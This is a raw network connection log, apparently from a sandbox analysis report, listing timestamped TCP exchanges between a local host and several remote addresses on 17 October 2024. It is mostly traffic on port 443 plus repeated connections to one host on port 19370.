Oct 17, 2024 18:19:18.193758965 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.193830967 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.193852901 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.193872929 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.193934917 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.241975069 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.246917963 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.260948896 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.293458939 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.293509007 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.293586016 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.293641090 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.293749094 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.293889046 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.302469015 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.302531958 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.302911043 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.302930117 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.309801102 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.309849977 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.309880018 CEST	52299	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.309899092 CEST	443	52299	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.314755917 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.314807892 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.314881086 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.314913988 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.314913988 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.314935923 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.314973116 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.314973116 CEST	52297	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.314992905 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.315002918 CEST	443	52297	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.331325054 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.331440926 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.331778049 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.332238913 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.332271099 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.336805105 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.338010073 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.338040113 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.338315964 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.339914083 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.339927912 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.341660976 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.437306881 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.437721014 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.437866926 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.453650951 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.458540916 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.461682081 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.461719036 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.461776972 CEST	52300	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.461786985 CEST	443	52300	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.475507021 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.475568056 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.475630045 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.478184938 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.478204966 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.533632040 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.539612055 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.624994993 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.629966021 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.718621969 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.723557949 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.781197071 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.781260967 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.781313896 CEST	52303	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:18.782913923 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.786158085 CEST	19370	52303	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:18.786237001 CEST	52301	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.786283016 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.787185907 CEST	52301	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.787194014 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.801286936 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.801773071 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.801795006 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.802191019 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.802196980 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.934595108 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.934930086 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.935019016 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.964648962 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.964685917 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:18.964701891 CEST	52302	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:18.964709044 CEST	443	52302	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.032067060 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.032123089 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.032201052 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.041038036 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.041055918 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.211263895 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.211321115 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.211496115 CEST	52301	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.214447975 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.245850086 CEST	52301	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.245883942 CEST	443	52301	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.249087095 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.249114990 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.249672890 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.249677896 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.288360119 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.288407087 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.288469076 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.291209936 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.291228056 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.339462996 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.343765020 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.372937918 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.372956038 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.373543978 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.373548985 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.373903990 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.373915911 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.374351025 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.374355078 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.378110886 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.378204107 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.378279924 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.378376007 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.378391027 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.378403902 CEST	52304	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.378408909 CEST	443	52304	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.381776094 CEST	52309	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.381820917 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.381880999 CEST	52309	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.382070065 CEST	52309	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.382083893 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.509917974 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.509985924 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.510082006 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.604501009 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.604535103 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.604590893 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.604625940 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.604685068 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.729933977 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.729933977 CEST	52306	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.729959965 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.729970932 CEST	443	52306	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.735867977 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.735872984 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.735945940 CEST	52305	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.735950947 CEST	443	52305	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.953921080 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.960068941 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.960098028 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:19.960530043 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:19.960535049 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.036183119 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.039848089 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.039860964 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.040539026 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.040545940 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.091720104 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.091798067 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.091878891 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.097100973 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.097122908 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.097136021 CEST	52307	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.097142935 CEST	443	52307	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.124052048 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.127523899 CEST	52309	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.127559900 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.127969980 CEST	52309	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.127975941 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.174485922 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.174789906 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.174910069 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.177715063 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.177715063 CEST	52308	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.177736998 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.177752018 CEST	443	52308	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.256475925 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.256558895 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:20.256624937 CEST	52309	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.270750999 CEST	52309	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:19:20.270791054 CEST	443	52309	13.107.246.45	192.168.2.6
Oct 17, 2024 18:19:23.827565908 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:23.832423925 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:23.832662106 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:23.833858967 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:23.838757038 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:23.890820980 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:23.895726919 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:23.956989050 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:23.962032080 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.035427094 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:24.040575981 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.127433062 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:24.132842064 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.205184937 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:24.210086107 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.270792007 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:24.275749922 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.354334116 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:24.359292030 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.455099106 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:24.462188005 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.533886909 CEST	19370	52310	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:24.533948898 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:24.953705072 CEST	52310	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.593770981 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.600137949 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:29.600231886 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.600877047 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.605873108 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:29.696322918 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.701539993 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:29.755924940 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.761215925 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:29.821257114 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.826208115 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:29.883949995 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.889328957 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:29.943022013 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:29.948118925 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:30.025475025 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:30.031344891 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:30.115032911 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:30.120114088 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:30.176923037 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:30.184834957 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:30.238955975 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:30.244034052 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:30.318679094 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:30.318778992 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:30.318834066 CEST	52311	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:30.323971033 CEST	19370	52311	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.345644951 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.350922108 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.351003885 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.351918936 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.357714891 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.369013071 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.384006977 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.436525106 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.456501961 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.506347895 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.511672020 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.560488939 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.565857887 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.626940012 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.691339970 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.691396952 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.717070103 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.742716074 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.747711897 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.802166939 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.828682899 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.879556894 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.910813093 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:35.951770067 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:35.959597111 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:36.040972948 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:36.085927963 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:36.119304895 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:36.143903017 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:36.153321981 CEST	19370	52312	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:36.153381109 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:36.276346922 CEST	52312	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:36.363699913 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:36.363739014 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:36.363804102 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:36.364430904 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:36.364439011 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.350056887 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.350153923 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:37.352113962 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:37.352129936 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.352485895 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.363584995 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:37.363641977 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:37.363672018 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.363779068 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:37.411403894 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.552225113 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.552622080 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:37.552651882 CEST	443	52313	40.83.247.108	192.168.2.6
Oct 17, 2024 18:19:37.552826881 CEST	52313	443	192.168.2.6	40.83.247.108
Oct 17, 2024 18:19:41.182745934 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.187648058 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.187732935 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.188409090 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.193571091 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.197916985 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.202764988 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.247366905 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.252505064 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.290296078 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.295797110 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.378247976 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.383908987 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.433223009 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.441143990 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.480859041 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.486615896 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.544671059 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.550502062 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.591573000 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.597299099 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.631294012 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.636271954 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.711942911 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.717257977 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.756462097 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.761363029 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.814698935 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.819540024 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.858956099 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.864396095 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.897125959 CEST	19370	52314	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:41.897209883 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:41.988107920 CEST	52314	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:45.738317966 CEST	49706	80	192.168.2.6	199.232.214.172
Oct 17, 2024 18:19:45.744163990 CEST	80	49706	199.232.214.172	192.168.2.6
Oct 17, 2024 18:19:45.744231939 CEST	49706	80	192.168.2.6	199.232.214.172
Oct 17, 2024 18:19:46.920345068 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:46.925427914 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:46.925498962 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:46.926215887 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:46.931027889 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:46.940663099 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:46.945525885 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:46.978084087 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:46.982947111 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.027277946 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.032396078 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.100012064 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.105015039 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.164474010 CEST	52315	19370	192.168.2.6	150.138.72.102
